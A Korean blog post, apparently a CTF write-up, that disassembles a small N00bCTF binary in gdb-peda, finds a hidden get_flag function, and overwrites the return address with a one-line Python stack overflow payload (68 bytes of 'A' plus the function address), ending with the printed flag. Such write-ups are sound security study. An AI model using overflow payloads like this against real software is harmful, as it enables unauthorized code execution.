pdisas main
0x08048568 <+0>: push ebp
0x08048569 <+1>: mov ebp,esp
0x0804856b <+3>: sub esp,0x40
0x0804856e <+6>: mov eax,ds:0x804a064
gdb로 까본 결과 스택이 64바이트만큼 할당되어있는 것을 알 수 있다.
dummy나 추가적인 공간은 계산하지 않고 문제를 풀었다.
===============================================
gdb-peda$ i fu
All defined functions:
Non-debugging symbols:
0x0804839c _init
0x080483d0 setbuf@plt
0x080483e0 gets@plt
0x080483f0 sleep@plt
0x08048400 puts@plt
0x08048410 system@plt
0x08048420 __libc_start_main@plt
0x08048430 __gmon_start__@plt
0x08048440 _start
0x08048470 __x86.get_pc_thunk.bx
0x08048480 deregister_tm_clones
0x080484b0 register_tm_clones
0x080484f0 __do_global_dtors_aux
0x08048510 frame_dummy
0x0804853b sleep_puts
0x08048556 get_flag
0x08048568 main
0x08048640 __libc_csu_init
0x080486a0 __libc_csu_fini
0x080486a4 _fini
저 아래에 가다보면 수상한 함수가 하나 있다. 바로 get_flag이다. 떡하니 우리에게 플래그를 주는 함수
라고 적어놨다. 그렇다면 64바이트와 sfp를 채우고 68+ get_flag 함수 주소를 하면 문제가 풀릴 것이다.
soultree@ubuntu:~$ (python -c 'print "A"*68+"\x56\x85\x04\x08"';cat) | ./clear
Wait!!!!!!
You should stop
Stealing flag...
Wait 10sec..
Wait 8sec..
Wait 6sec..
Wait 4sec..
Wait 2sec..
Okay
I'll give you a flag!!
N00bCTF{wow_your_very_good!!}
이렇게 정상적으로 flag가 뜬다. 가끔식 로컬에서 하다보면 문제가 생기는 ctf가 종종 있었다.
꼭 원격으로도 해보는 것을 추천한다.
'CTF 중점 스터디' 카테고리의 다른 글
Pwnable.kr asm Write-up (0) | 2019.12.08 |
---|---|
TUCTF Faker Write Up (0) | 2019.12.08 |
protostar_heap0 Write_up (0) | 2019.12.01 |
Wargame.kr_tmitter_Write up (0) | 2019.12.01 |
N00bCTF - Simple_SQL Write-up (0) | 2019.11.28 |